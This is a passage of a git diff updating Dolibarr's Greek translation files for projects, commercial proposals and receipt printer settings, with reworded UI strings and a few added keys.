+TypeContact_project_task_internal_TASKEXECUTIVE=Υπεύθυνος εργασίας +TypeContact_project_task_external_TASKEXECUTIVE=Υπεύθυνος εργασίας TypeContact_project_task_internal_TASKCONTRIBUTOR=Συνεισφέρων TypeContact_project_task_external_TASKCONTRIBUTOR=Συνεισφέρων SelectElement=Επιλέξτε το στοιχείο @@ -194,35 +198,35 @@ MustBeValidatedToBeSigned=Το %s πρέπει πρώτα να επικυρωθ FirstAddRessourceToAllocateTime=Ορίστε έναν πόρο χρήστη ως επαφή του έργου για να διαθέσετε χρόνο InputPerDay=Εισαγωγή ανά ημέρα InputPerWeek=Εισαγωγή ανά εβδομάδα -InputPerMonth=Είσοδος / εισαγωγή ανά μήνα -InputDetail=Λεπτομέρειες εισόδου -TimeAlreadyRecorded=Αυτός είναι ο χρόνος που έχει ήδη εγγραφεί για αυτήν την εργασία / ημέρα και ο χρήστης %s +InputPerMonth=Εισαγωγή ανά μήνα +InputDetail=Λεπτομέρειες εισαγωγής +TimeAlreadyRecorded=Αυτός είναι ο χρόνος που δαπανήθηκε και ήδη καταγράφηκε για αυτήν την εργασία/ημέρα και χρήστη %s ProjectsWithThisUserAsContact=Έργα με αυτόν τον χρήστη ως επαφή ProjectsWithThisContact=Έργα με αυτήν την επαφή TasksWithThisUserAsContact=Εργασίες που έχουν ανατεθεί σε αυτόν τον χρήστη ResourceNotAssignedToProject=Δεν έχει ανατεθεί σε έργο ResourceNotAssignedToTheTask=Δεν έχει ανατεθεί στην εργασία NoUserAssignedToTheProject=Δεν έχουν εκχωρηθεί χρήστες σε αυτό το έργο -TimeSpentBy=Χρόνος που πέρασε +TimeSpentBy=Χρόνος που δαπανήθηκε από TasksAssignedTo=Οι εργασίες που έχουν ανατεθεί στο AssignTaskToMe=Ανάθεση εργασίας στον εαυτό μου AssignTaskToUser=Ανάθεση εργασία στο %s SelectTaskToAssign=Επιλέξτε εργασία για ανάθεση... AssignTask=Ανάθεση ProjectOverview=Επισκόπηση -ManageTasks=Χρησιμοποιήστε έργα για να παρακολουθήσετε εργασίες και / ή να αναφέρετε το χρόνο που ξοδεύετε (φύλλα εργασίας) +ManageTasks=Χρησιμοποιήστε έργα για να παρακολουθήσετε εργασίες και / ή να αναφέρετε το χρόνο που δαπανάται (φύλλα εργασίας) ManageOpportunitiesStatus=Χρησιμοποιήστε τα έργα για να παρακολουθήσετε τις προοπτικές/ευκαιρίες ProjectNbProjectByMonth=Αριθμός δημιουργηθέντων έργων ανά μήνα ProjectNbTaskByMonth=Αριθμός δημιουργημένων εργασιών ανά μήνα ProjectOppAmountOfProjectsByMonth=Ποσό προοπτικών ανά μήνα ProjectWeightedOppAmountOfProjectsByMonth=Σταθμισμένο ποσό προοπτικών ανά μήνα -ProjectOpenedProjectByOppStatus=Ανοιχτές προοπτικές έργων ανά κατάσταση προοπτικής +ProjectOpenedProjectByOppStatus=Άνοιγμα προοπτικής/έργου ανά κατάσταση προοπτικής ProjectsStatistics=Στατιστικά έργων ή προοπτικών TasksStatistics=Στατιστικά εργασιών των έργων ή των προοπτικών TaskAssignedToEnterTime=Η εργασία έχει εκχωρηθεί. Πρέπει να είναι δυνατή η εισαγωγή του χρόνου αυτού του έργου. IdTaskTime=Αναγνωριστικό χρόνου εργασίας YouCanCompleteRef=Εάν θέλετε να συμπληρώσετε την αναφορά με κάποιο επίθημα, συνιστάται να προσθέσετε έναν χαρακτήρα - για να το διαχωρίσετε, έτσι η αυτόματη αρίθμηση θα εξακολουθεί να λειτουργεί σωστά για τα επόμενα έργα. Για παράδειγμα %s-MYSUFFIX -OpenedProjectsByThirdparties=Ανοίξτε έργα από τρίτους +OpenedProjectsByThirdparties=Ανοιχτά έργα ανά τρίτο μέρος OnlyOpportunitiesShort=Μόνο προοπτικές OpenedOpportunitiesShort=Ανοιχτές προοπτικές NotOpenedOpportunitiesShort=Δεν είναι ανοιχτή προοπτική @@ -238,7 +242,7 @@ OppStatusPENDING=Εκκρεμεί OppStatusWON=Έκλεισε OppStatusLOST=Χάθηκε Budget=Προϋπολογισμός -AllowToLinkFromOtherCompany=Επιτρέψτε τη σύνδεση του έργου με άλλη εταιρεία

      Υποστηριζόμενες τιμές:
      - Κρατήστε κενό: Μπορεί να συνδέσει οποιοδήποτε έργο της εταιρείας (προεπιλογή)
      - "όλα": Μπορεί να συνδέσει οποιαδήποτε έργα, ακόμα και έργα άλλων εταιρειών
      - Μια λίστα με IDs τρίτων που χωρίζονται με κόμματα: μπορούν να συνδέσουν όλα τα έργα αυτών των τρίτων μερών (Παράδειγμα: 123,4795,53)
      +AllowToLinkFromOtherCompany=Να επιτρέπεται η σύνδεση ενός στοιχείου με ένα έργο άλλης εταιρείας

      Υποστηριζόμενες τιμές:
      - Κενό: Σύνδεση στοιχείων με οποιοδήποτε έργο της ίδιας εταιρείας (προεπιλογή)
      -"all": Σύνδεση στοιχείων με οποιοδήποτε έργο οποιασδήποτε εταιρείας
      - Μια λίστα αναγνωριστικών τρίτων μερών που χωρίζονται με κόμμα: Σύνδεση στοιχείων με οποιοδήποτε έργο των συγκεκριμένων τρίτων μερών (Παράδειγμα: 123,4795,53) LatestProjects=Τελευταία %s έργα LatestModifiedProjects=Τελευταία %s τροποποιημένα έργα OtherFilteredTasks=Άλλες φιλτραρισμένες εργασίες @@ -255,11 +259,12 @@ RecordsClosed=%s κλειστά έργα SendProjectRef=Πληροφορίες έργου %s ModuleSalaryToDefineHourlyRateMustBeEnabled=Η ενότητα "Μισθοί" πρέπει να είναι ενεργοποιημένη για να καθορίζει την ωριαία τιμή του εργαζόμενου ώστε να έχει αξιοποιηθεί ο χρόνος που δαπανάται NewTaskRefSuggested=Η αναφορά εργασίας χρησιμοποιείται ήδη, απαιτείται νέα αναφορά εργασίας -TimeSpentInvoiced=Χρόνος που δαπανήθηκε χρεώνεται -TimeSpentForIntervention=Ο χρόνος που δαπανάται -TimeSpentForInvoice=Ο χρόνος που δαπανάται +NumberOfTasksCloned=%s κλωνοποιημένες εργασίες +TimeSpentInvoiced=Τιμολογήθηκε ο χρόνος που δαπανήθηκε +TimeSpentForIntervention=Χρόνος που δαπανήθηκε +TimeSpentForInvoice=Ο χρόνος που δαπανήθηκε OneLinePerUser=Μια γραμμή ανά χρήστη -ServiceToUseOnLines=Service to use on lines +ServiceToUseOnLines=Υπηρεσία για χρήση σε γραμμές από προεπιλογή InvoiceGeneratedFromTimeSpent=Το τιμολόγιο %s δημιουργήθηκε από το χρόνο που αφιερώσατε στο έργο InterventionGeneratedFromTimeSpent=Η παρέμβαση %s έχει δημιουργηθεί από τον χρόνο που δαπανήθηκε στο έργο ProjectBillTimeDescription=Επιλέξτε στην περίπτωση που εισάγετε φύλλο κατανομής χρόνου για τα καθήκοντα του έργου και σχεδιάζετε να δημιουργήσετε τιμολόγιο(α) από το δελτίο χρόνου για να χρεώσετε τον πελάτη του έργου (μην το επιλέξετε αν σκοπεύετε να δημιουργήσετε τιμολόγιο που δεν βασίζεται σε καταγεγραμμένα φύλλα χρόνου). Σημείωση: Για να δημιουργήσετε τιμολόγιο, μεταβείτε στην καρτέλα 'Χρόνος που δαπανήθηκε' του έργου και επιλέξτε τις γραμμές που θα συμπεριληφθούν. @@ -268,29 +273,30 @@ ProjectFollowTasks=Ακολουθήστε τις εργασίες ή τον χρ Usage=Χρήση UsageOpportunity=Χρήση: Ευκαιρία UsageTasks=Χρήση: Εργασίες -UsageBillTimeShort=Χρήση: Χρόνος λογαριασμού +UsageBillTimeShort=Χρήση: τιμολόγηση χρόνου InvoiceToUse=Προσχέδιο τιμολογίου προς χρήση -InterToUse=Σχέδιο παρέμβασης προς χρήση +InterToUse=Προσχέδιο παρέμβασης προς χρήση NewInvoice=Νέο τιμολόγιο NewInter=Νέα παρέμβαση OneLinePerTask=Μια γραμμή ανά εργασία OneLinePerPeriod=Μία γραμμή ανά περίοδο OneLinePerTimeSpentLine=Ορισμός μίας γραμμής για κάθε χρονικό διάστημα που δαπανήθηκε AddDetailDateAndDuration=Με ημερομηνία και διάρκεια στην περιγραφή της γραμμής -RefTaskParent=Αναφ. Γονική εργασία +RefTaskParent=Αναφ. Γονικής εργασίας ProfitIsCalculatedWith=Το κέρδος υπολογίζεται χρησιμοποιώντας AddPersonToTask=Προσθήκη και στις εργασίες UsageOrganizeEvent=Χρήση: Οργάνωση εκδήλωσης -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=Καταχώρηση του έργου ως ολοκληρωμένου όταν όλες οι εργασίες έχουν ολοκληρωθεί (100 %% πρόοδος) -PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Σημείωση: τα υπάρχοντα έργα με όλες τις εργασίες τους σε 100 %% πρόοδο δεν θα επηρεαστούν: θα χρειαστεί να τα κλείσετε χειροκίνητα. Η επιλογή αυτή επηρεάζει μόνο τα ανοιχτά έργα. +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE=Ταξινόμηση έργου ως κλειστό όταν όλες οι εργασίες έχουν ολοκληρωθεί (100 %% πρόοδος) +PROJECT_CLASSIFY_CLOSED_WHEN_ALL_TASKS_DONE_help=Σημείωση: Αυτή η επιλογή επηρεάζει μόνο ανοιχτά έργα. Τα υπάρχοντα έργα με όλες τις εργασίες να έχουν ήδη οριστεί σε πρόοδο 100%% δεν θα επηρεαστούν: θα πρέπει να τα κλείσετε χειροκίνητα. SelectLinesOfTimeSpentToInvoice=Επιλέξτε τις γραμμές κατανάλωσης χρόνου που δεν έχουν τιμολογηθεί και έπειτα την μαζική εντολή "Δημιουργία τιμολογίου" για να τα τιμολογήσετε. ProjectTasksWithoutTimeSpent=Εργασίες έργου χωρίς χρόνο που έχει δαπανηθεί FormForNewLeadDesc=Σας ευχαριστούμε που συμπληρώσατε την ακόλουθη φόρμα επικοινωνίας. Μπορείτε επίσης να μας στείλετε απευθείας email στο %s. ProjectsHavingThisContact=Έργα που έχουν αυτή την επαφή StartDateCannotBeAfterEndDate=Η ημερομηνία λήξης δεν μπορεί να είναι πριν από την ημερομηνία έναρξης -ErrorPROJECTLEADERRoleMissingRestoreIt=Ο ρόλος "PROJECTLEADER" λείπει ή έχει απενεργοποιηθεί, επαναφέρετε στο λεξικό τύπων επαφών +ErrorPROJECTLEADERRoleMissingRestoreIt=Ο ρόλος "PROJECTLEADER" λείπει ή έχει απενεργοποιηθεί, επαναφέρετε το στο λεξικό τύπων επαφών LeadPublicFormDesc=Μπορείτε να ενεργοποιήσετε εδώ μια δημόσια σελίδα για να επιτρέψετε στους υποψήφιους πελάτες σας να κάνουν μια πρώτη επαφή μαζί σας από μια δημόσια ηλεκτρονική φόρμα EnablePublicLeadForm=Ενεργοποιήστε τη δημόσια φόρμα για επικοινωνία NewLeadbyWeb=Το μήνυμα ή το αίτημά σας έχει καταγραφεί. Θα απαντήσουμε ή θα επικοινωνήσουμε μαζί σας σύντομα. -NewLeadForm=Φόρμα νέας επικοινωνίας +NewLeadForm=Νέα φόρμα επικοινωνίας LeadFromPublicForm=Δυνητικός πελάτης από ηλεκτρονική δημόσια φόρμα +ExportAccountingReportButtonLabel=Λήψη αναφοράς diff --git a/htdocs/langs/el_GR/propal.lang b/htdocs/langs/el_GR/propal.lang index ea99998a3bc..0f438a2e7fb 100644 --- a/htdocs/langs/el_GR/propal.lang +++ b/htdocs/langs/el_GR/propal.lang @@ -1,11 +1,11 @@ # Dolibarr language file - Source file is en_US - propal -Proposals=Προσφορές -Proposal=Προσφορά +Proposals=Εμπορικές προσφορές +Proposal=Εμπορική προσφορά ProposalShort=Προσφορά -ProposalsDraft=Σχέδιο Προσφοράς -ProposalsOpened=Ανοικτές εμπορικές προτάσεις +ProposalsDraft=Προσχέδιο προσφοράς +ProposalsOpened=Ανοιχτές προσφορές CommercialProposal=Προσφορά -PdfCommercialProposalTitle=Πρόταση +PdfCommercialProposalTitle=Προσφορά ProposalCard=Καρτέλα Προσφοράς NewProp=Νέα Προσφορά NewPropal=Νέα Προσφορά @@ -13,101 +13,106 @@ Prospect=Προοπτική DeleteProp=Διαγραφή Προσφοράς ValidateProp=Επικύρωση Προσφοράς AddProp=Δημιουργία προσφοράς -ConfirmDeleteProp=Είστε βέβαιοι ότι θέλετε να διαγράψετε αυτήν την εμπορική πρόταση; -ConfirmValidateProp=Είστε βέβαιοι ότι θέλετε να επικυρώσετε αυτήν την εμπορική πρόταση με το όνομα %s ; -LastPropals=Τελευταίες προτάσεις %s -LastModifiedProposals=Τελευταίες τροποποιημένες προτάσεις %s +ConfirmDeleteProp=Είστε σίγουροι ότι θέλετε να διαγράψετε αυτήν την προσφορά; +ConfirmValidateProp=Είστε σίγουροι ότι θέλετε να επικυρώσετε αυτήν την προσφορά με το όνομα %s ; +LastPropals=Τελευταίες %s προσφορές +LastModifiedProposals=Τελευταίες %s τροποποιημένες προσφορές AllPropals=Όλες οι Προσφορές SearchAProposal=Εύρεση Προσφοράς -NoProposal=Δεν υπάρχει πρόταση -ProposalsStatistics=Στατιστικά Προσφοράς +NoProposal=Δεν υπάρχει προσφορά +ProposalsStatistics=Στατιστικά Προσφορών NumberOfProposalsByMonth=Αριθμός ανά μήνα -AmountOfProposalsByMonthHT=Ποσό ανά μήνα (εκτός φόρου) +AmountOfProposalsByMonthHT=Ποσό ανά μήνα (χωρίς Φ.Π.Α.) NbOfProposals=Αριθμός Προσφορών ShowPropal=Εμφάνιση Προσφοράς -PropalsDraft=Σχέδιο -PropalsOpened=Άνοιγμα +PropalsDraft=Προσχέδια +PropalsOpened=Ανοιχτές PropalStatusDraft=Προσχέδιο (χρειάζεται επικύρωση) PropalStatusValidated=Επικυρωμένη (η Προσφορά είναι ανοιχτή) -PropalStatusSigned=Υπογραφή (ανάγκες χρέωσης) -PropalStatusNotSigned=Δεν έχει υπογραφεί (κλειστό) -PropalStatusBilled=Χρεώνεται +PropalStatusSigned=Υπογεγραμμένη (χρειάζεται χρέωση) +PropalStatusNotSigned=Δεν έχει υπογραφεί (κλειστή) +PropalStatusBilled=Τιμολογήθηκε PropalStatusDraftShort=Προσχέδιο -PropalStatusValidatedShort=Επικυρωμένο (ανοιχτό) -PropalStatusClosedShort=Κλειστό -PropalStatusSignedShort=Υπογραφή +PropalStatusValidatedShort=Επικυρωμένη (ανοιχτή) +PropalStatusClosedShort=Κλειστή +PropalStatusSignedShort=Υπογεγραμμένη PropalStatusNotSignedShort=Δεν έχει υπογραφεί -PropalStatusBilledShort=Χρεωμένη +PropalStatusBilledShort=Τιμολογήθηκε PropalsToClose=Προσφορές προς κλείσιμο -PropalsToBill=Υπογεγραμμένες Προσφορές προς χρέωση -ListOfProposals=Κατάλογος Προσφορών -ActionsOnPropal=Εκδηλώσεις σχετικά με την Προσφορά -RefProposal=Εμπορική Προσφορά ref +PropalsToBill=Υπογεγραμμένες προσφορές προς τιμολόγηση +ListOfProposals=Λίστα Προσφορών +ActionsOnPropal=Ενέργειες στην Προσφορά +RefProposal=Αναφ. προσφοράς SendPropalByMail=Αποστολή Προσφοράς με e-mail DatePropal=Ημερομηνία της Προσφοράς -DateEndPropal=Ισχύς ημερομηνία λήξης +DateEndPropal=Ημερομηνία λήξης ισχύος ValidityDuration=Διάρκεια ισχύος -SetAcceptedRefused=Ορισμός αποδοχής/άρνησης +SetAcceptedRefused=Ορισμός αποδοχής/απόρριψης ErrorPropalNotFound=Η Προσφορά %s δεν βρέθηκε -AddToDraftProposals=Προσθήκη στο σχέδιο Προσφοράς -NoDraftProposals=Δεν υπάρχουν σχέδια Προσφορών +AddToDraftProposals=Προσθήκη στο προσχέδιο προσφοράς +NoDraftProposals=Δεν υπάρχουν προσχέδια προσφορών CopyPropalFrom=Δημιουργία Προσφοράς με την αντιγραφή υφιστάμενης Προσφοράς -CreateEmptyPropal=Δημιουργήστε άδεια εμπορική πρόταση ή από λίστα προϊόντων / υπηρεσιών -DefaultProposalDurationValidity=Προεπιλογή διάρκεια Προσφοράς ισχύος (σε ημέρες) -DefaultPuttingPricesUpToDate=Από προεπιλογή, ενημερώστε τις τιμές με τις τρέχουσες γνωστές τιμές κατά την κλωνοποίηση μιας πρότασης -UseCustomerContactAsPropalRecipientIfExist=Χρησιμοποιήστε τη διεύθυνση επαφής / διεύθυνσης με τον τύπο "Πρόταση επικοινωνίας μετά την επικοινωνία", αν ορίζεται αντί της διεύθυνσης τρίτων ως διεύθυνση παραλήπτη της πρότασης -ConfirmClonePropal=Είστε βέβαιοι ότι θέλετε να κλωνοποιήσετε την εμπορική πρόταση %s ? -ConfirmReOpenProp=Είστε βέβαιοι ότι θέλετε να ανοίξετε την εμπορική πρόταση %s ? +CreateEmptyPropal=Δημιουργία κενής εμπορικής προσφοράς ή από λίστα προϊόντων / υπηρεσιών +DefaultProposalDurationValidity=Προεπιλεγμένη διάρκεια ισχύος της εμπορικής προσφοράς (σε ημέρες) +DefaultPuttingPricesUpToDate=Από προεπιλογή, ενημέρωση των τιμων με τις τρέχουσες γνωστές τιμές κατά την αντιγραφή μιας προσφορας +UseCustomerContactAsPropalRecipientIfExist=Χρησιμοποιήστε επαφή/διεύθυνση του τύπου «Επαφή προσφοράς» εάν ορίζεται αντί για τη διεύθυνση τρίτου μέρους ως διεύθυνση παραλήπτη προσφοράς +ConfirmClonePropal=Είστε σίγουροι ότι θέλετε να αντιγράψετε την εμπορική προσφορά %s ? +ConfirmReOpenProp=Είστε σίγουροι ότι θέλετε να ανοίξετε ξανά την εμπορική προσφορά %s ? ProposalsAndProposalsLines=Προσφορές και γραμμές ProposalLine=Γραμμή Προσφοράς ProposalLines=Γραμμές προσφοράς -AvailabilityPeriod=Καθυστέρηση Διαθεσιμότητα -SetAvailability=Ορισμός καθυστέρησης διαθεσιμότητα +AvailabilityPeriod=Καθυστέρηση διαθεσιμότητας +SetAvailability=Ορισμός καθυστέρησης διαθεσιμότητας AfterOrder=μετά την παραγγελία OtherProposals=Άλλες Προσφορές + ##### Availability ##### AvailabilityTypeAV_NOW=Άμεση AvailabilityTypeAV_1W=1 εβδομάδα AvailabilityTypeAV_2W=2 εβδομάδες AvailabilityTypeAV_3W=3 εβδομάδες -AvailabilityTypeAV_1M=1 μήνα -##### Types de contacts ##### -TypeContact_propal_internal_SALESREPFOLL=Εκπρόσωπος που παρακολουθεί την Προσφορά -TypeContact_propal_external_BILLING=Πελάτης επαφή τιμολόγιο -TypeContact_propal_external_CUSTOMER=Πελάτης επαφή που παρακολουθεί την Προσφορά -TypeContact_propal_external_SHIPPING=Επικοινωνία με τον πελάτη για παράδοση +AvailabilityTypeAV_1M=1 μήνας + +##### Types ofe contacts ##### +TypeContact_propal_internal_SALESREPFOLL=Εκπρόσωπος επικοινωνίας μετά την προσφορά +TypeContact_propal_external_BILLING=Επαφή λογιστηρίου πελάτη +TypeContact_propal_external_CUSTOMER=Επαφή επικοινωνίας πελάτη μετά την προσφορά +TypeContact_propal_external_SHIPPING=Επαφή επικοινωνίας πελάτη για παράδοση + # Document models -DocModelAzurDescription=Ένα πλήρες πρότυπο πρότυπο (παλιά εφαρμογή του Cyan πρότυπο) -DocModelCyanDescription=Ένα πλήρες μοντέλο προτάσεων -DefaultModelPropalCreate=Δημιουργία προεπιλεγμένων μοντέλων -DefaultModelPropalToBill=Προεπιλεγμένο πρότυπο όταν κλείνει μια Προσφορά (να τιμολογηθεί) -DefaultModelPropalClosed=Προεπιλεγμένο πρότυπο όταν κλείνει μια Προσφορά (ατιμολόγητη) -ProposalCustomerSignature=Γραπτή αποδοχή, σφραγίδα εταιρείας, ημερομηνία και υπογραφή -ProposalsStatisticsSuppliers=Στατιστικά στοιχεία για τις προτάσεις προμηθευτών -CaseFollowedBy=Περίπτωση που ακολουθείται -SignedOnly=Μόνο υπογεγραμμένη -NoSign=Ορισμός ως μη υπογεγραμμένη -NoSigned=ορισμός ως μη υπογεγραμμένη CantBeNoSign=δεν μπορεί να οριστεί ως μη υπογεγραμμένη +CaseFollowedBy=Περίπτωση που ακολουθείται από ConfirmMassNoSignature=Επιβεβαίωση μαζικού ορισμού ως Μη υπογεγραμμένη ConfirmMassNoSignatureQuestion=Είστε σίγουροι ότι θέλετε να ορίσετε ως μη υπογεγραμμένες τις επιλεγμένες εγγραφές; -IsNotADraft=δεν είναι προσχέδιο -PassedInOpenStatus=έχει επικυρωθεί -Sign=Υπογραφή -Signed=υπογεγραμμένη -ConfirmMassValidation=Επιβεβαίωση μαζικής επικύρωσης ConfirmMassSignature=Επιβεβαίωση μαζικής υπογραφής +ConfirmMassSignatureQuestion=Είστε σίγουροι ότι θέλετε να υπογράψετε τις επιλεγμένες εγγραφές; +ConfirmMassValidation=Επιβεβαίωση μαζικής επικύρωσης ConfirmMassValidationQuestion=Είστε σίγουροι ότι θέλετε να επικυρώσετε τις επιλεγμένες εγγραφές; -ConfirmMassSignatureQuestion=Είστε βέβαιοι ότι θέλετε να υπογράψετε τις επιλεγμένες εγγραφές; -IdProposal=Αναγνωριστικό προσφοράς +ConfirmRefusePropal=Είστε σίγουροι ότι θέλετε να απορρίψετε αυτήν την εμπορική προσφορά; +ContractSigned=Υπογεγραμμένη σύμβαση +DefaultModelPropalClosed=Προεπιλεγμένο πρότυπο κατά το κλείσιμο μιας προσφοράς (χωρίς τιμολόγηση) +DefaultModelPropalCreate=Δημιουργία προεπιλεγμένου προτύπου +DefaultModelPropalToBill=Προεπιλεγμένο πρότυπο κατά το κλείσιμο μιας προσφοράς (προς τιμολόγηση) +DocModelAzurDescription=Ένα πλήρες πρότυπο προσφορών (παλιά υλοποίηση του προτύπου Cyan) +DocModelCyanDescription=Ένα πλήρες υπόδειγμα προσφορών +FichinterSigned=Η παρέμβαση υπεγράφη IdProduct=Αναγνωριστικό προϊόντος -LineBuyPriceHT=Αγορά Τιμή Ποσό χωρίς φόρο για γραμμή -SignPropal=Αποδοχή προσφοράς +IdProposal=Αναγνωριστικό προσφοράς +IsNotADraft=δεν είναι προσχέδιο +LineBuyPriceHT=Ποσό Αγοράς χωρίς Φ.Π.Α. για γραμμή +NoSign=Απορρίφθηκε +NoSigned=ορισμός ως μη υπογεγραμμένη +PassedInOpenStatus=έχει επικυρωθεί +PropalAlreadyRefused=Η προσφορά έχει ήδη απορριφθεί +PropalAlreadySigned=Η πρόσφορα ειναι ήδη αποδεκτή +PropalRefused=Η προσφορά απορρίφθηκε +PropalSigned=Πρόσφορα αποδεκτή +ProposalCustomerSignature=Για αποδοχή: σφραγίδα εταιρείας, ημερομηνία και υπογραφή +ProposalsStatisticsSuppliers=Στατιστικά στοιχεία προσφορών προμηθευτών RefusePropal=Απόρριψη προσφοράς Sign=Υπογραφή -NoSign=Ορισμός ως μη υπογεγραμμένη -PropalAlreadySigned=Η πρόσφορα ειναι ήδη αποδεκτή -PropalAlreadyRefused=Η προσφορά έχει ήδη απορριφθεί -PropalSigned=Πρόσφορα αποδεκτή -PropalRefused=Η προσφορά απορρίφθηκε -ConfirmRefusePropal=Είστε βέβαιοι ότι θέλετε να αρνηθείτε αυτήν την εμπορική πρόταση; +SignContract=Υπογραφή σύμβασης +SignFichinter=Υπογραφή παρέμβασης +SignPropal=Αποδοχή προσφοράς +Signed=υπογεγραμμένη +SignedOnly=Μόνο υπογεγραμμένη diff --git a/htdocs/langs/el_GR/receiptprinter.lang b/htdocs/langs/el_GR/receiptprinter.lang index 298e9384da5..b1853399ae1 100644 --- a/htdocs/langs/el_GR/receiptprinter.lang +++ b/htdocs/langs/el_GR/receiptprinter.lang @@ -1,60 +1,60 @@ # Dolibarr language file - Source file is en_US - receiptprinter -ReceiptPrinterSetup=Ρύθμιση της μονάδας ReceiptPrinter +ReceiptPrinterSetup=Ρύθμιση της ενότητας ΕκτυπωτήςΑποδείξεων PrinterAdded=Ο εκτυπωτής %s προστέθηκε PrinterUpdated=Ο εκτυπωτής %s ενημερώθηκε -PrinterDeleted=Ο εκτυπωτής %s διαγράφτηκε -TestSentToPrinter=Δοκιμή αποστολής στον εκτυπωτή %s -ReceiptPrinter=Εκτυπωτές παραλαβής -ReceiptPrinterDesc=Ρύθμιση εκτυπωτών παραλαβής +PrinterDeleted=Ο εκτυπωτής %s διαγράφηκε +TestSentToPrinter=Δοκιμαστική αποστολή στον εκτυπωτή %s +ReceiptPrinter=Εκτυπωτές αποδείξεων +ReceiptPrinterDesc=Ρύθμιση εκτυπωτών αποδείξεων ReceiptPrinterTemplateDesc=Ρύθμιση προτύπων -ReceiptPrinterTypeDesc=Παράδειγμα πιθανών τιμών για το πεδίο "Παράμετροι" ανάλογα με τον τύπο του προγράμματος οδήγησης -ReceiptPrinterProfileDesc=Περιγραφή του προφίλ εκτυπωτή παραλαβής +ReceiptPrinterTypeDesc=Παράδειγμα πιθανών τιμών για το πεδίο "Παράμετροι" ανάλογα με τον τύπο του προγράμματος οδήγησης(driver) +ReceiptPrinterProfileDesc=Περιγραφή του προφίλ του εκτυπωτή αποδείξεων ListPrinters=Λίστα εκτυπωτών. -SetupReceiptTemplate=Εγκατάσταση πρώτυπου -CONNECTOR_DUMMY=Εκτυπωτής Dummy +SetupReceiptTemplate=Ρύθμιση προτύπου +CONNECTOR_DUMMY=Εικονικός εκτυπωτής CONNECTOR_NETWORK_PRINT=Δικτυακός εκτυπωτής CONNECTOR_FILE_PRINT=Τοπικός εκτυπωτής CONNECTOR_WINDOWS_PRINT=Τοπικός εκτυπωτής Windows -CONNECTOR_CUPS_PRINT=Εκτυπωτής ποτηριών +CONNECTOR_CUPS_PRINT=Εκτυπωτής Cups CONNECTOR_DUMMY_HELP=Εικονικός εκτυπωτής για ελέγχους, δεν κάνει τίποτα CONNECTOR_NETWORK_PRINT_HELP=10.x.x.x:9100 CONNECTOR_FILE_PRINT_HELP=/dev/usb/lp0, /dev/usb/lp1 -CONNECTOR_WINDOWS_PRINT_HELP=LPT1, COM1, smb: // FooUser: μυστικό @ computername / workgroup / Εκτυπωτής παραλαβής +CONNECTOR_WINDOWS_PRINT_HELP=LPT1, COM1, smb://FooUser:secret@computername/workgroup/Receipt Printer CONNECTOR_CUPS_PRINT_HELP=Όνομα εκτυπωτή CUPS, παράδειγμα: HPRT_TP805L PROFILE_DEFAULT=Προεπιλεγμένο προφίλ PROFILE_SIMPLE=Απλό προφίλ -PROFILE_EPOSTEP=Epos Προφίλ Tep +PROFILE_EPOSTEP=Προφίλ Epos Tep PROFILE_P822D=Προφίλ P822D -PROFILE_STAR=Προφίλ Αστέρων -PROFILE_DEFAULT_HELP=Προεπιλεγμένο προφίλ κατάλληλο για εκτυπωτές της Epson +PROFILE_STAR=Προφίλ Star +PROFILE_DEFAULT_HELP=Προεπιλεγμένο προφίλ κατάλληλο για εκτυπωτές Epson PROFILE_SIMPLE_HELP=Απλό προφίλ χωρίς γραφικά -PROFILE_EPOSTEP_HELP=Epos Προφίλ Tep -PROFILE_P822D_HELP=P822D Προφίλ χωρίς γραφικά -PROFILE_STAR_HELP=Προφίλ Αστέρων +PROFILE_EPOSTEP_HELP=Προφίλ Epos Tep +PROFILE_P822D_HELP=Προφίλ P822D χωρίς γραφικά +PROFILE_STAR_HELP=Προφίλ Star DOL_LINE_FEED=Παράλειψη γραμμής DOL_ALIGN_LEFT=Αριστερή στοίχιση κειμένου DOL_ALIGN_CENTER=Στοίχιση κειμένου στο κέντρο -DOL_ALIGN_RIGHT=Στοίχιση κειμένου δεξιά -DOL_USE_FONT_A=Χρησιμοποίηση γραμματοσειράς Α στον εκτυπωτή -DOL_USE_FONT_B=Χρησιμοποίηση γραμματοσειράς Β στον εκτυπωτή -DOL_USE_FONT_C=Χρησιμοποίηση γραμματοσειράς Γ στον εκτυπωτή +DOL_ALIGN_RIGHT=Δεξιά στοίχιση κειμένου +DOL_USE_FONT_A=Χρήση της γραμματοσειράς Α του εκτυπωτή +DOL_USE_FONT_B=Χρήση της γραμματοσειράς Β του εκτυπωτή +DOL_USE_FONT_C=Χρήση της γραμματοσειράς C του εκτυπωτή DOL_PRINT_BARCODE=Εκτύπωση barcode -DOL_PRINT_BARCODE_CUSTOMER_ID=Εκτυπώστε αναγνωριστικό πελάτη γραμμωτού κώδικα -DOL_CUT_PAPER_FULL=Κόψτε το εισιτήριο εντελώς -DOL_CUT_PAPER_PARTIAL=Κόψτε το εισιτήριο εν μέρει -DOL_OPEN_DRAWER=Ανοίξτε το συρτάρι -DOL_ACTIVATE_BUZZER=Ενεργοποιήστε το βομβητή -DOL_PRINT_QRCODE=Εκτύπωση QR +DOL_PRINT_BARCODE_CUSTOMER_ID=Εκτύπωση barcode αναγνωριστικού πελάτη +DOL_CUT_PAPER_FULL=Κοπή απόδειξης +DOL_CUT_PAPER_PARTIAL=Μερική κοπή απόδειξης +DOL_OPEN_DRAWER=Άνοιγμα συρταριού μετρητών +DOL_ACTIVATE_BUZZER=Ενεργοποίηση βομβητή +DOL_PRINT_QRCODE=Εκτύπωση κωδικού QR DOL_PRINT_LOGO=Εκτύπωση λογότυπου της εταιρείας μου -DOL_PRINT_LOGO_OLD=Εκτύπωση λογότυπο της εταιρείας μου (παλιούς εκτυπωτές) +DOL_PRINT_LOGO_OLD=Εκτύπωση λογότυπου της εταιρείας μου (παλιοί εκτυπωτές) DOL_BOLD=Έντονη γραφή -DOL_BOLD_DISABLED=Απενεργοποιήση της έντονης γραφής -DOL_DOUBLE_HEIGHT=Διπλό ύψος -DOL_DOUBLE_WIDTH=Διπλό μέγεθος πλάτους +DOL_BOLD_DISABLED=Απενεργοποίηση της έντονης γραφής +DOL_DOUBLE_HEIGHT=Μέγεθος διπλού ύψους +DOL_DOUBLE_WIDTH=Μέγεθος διπλού πλάτους DOL_DEFAULT_HEIGHT_WIDTH=Προεπιλεγμένο μέγεθος ύψους και πλάτους DOL_UNDERLINE=Ενεργοποίηση 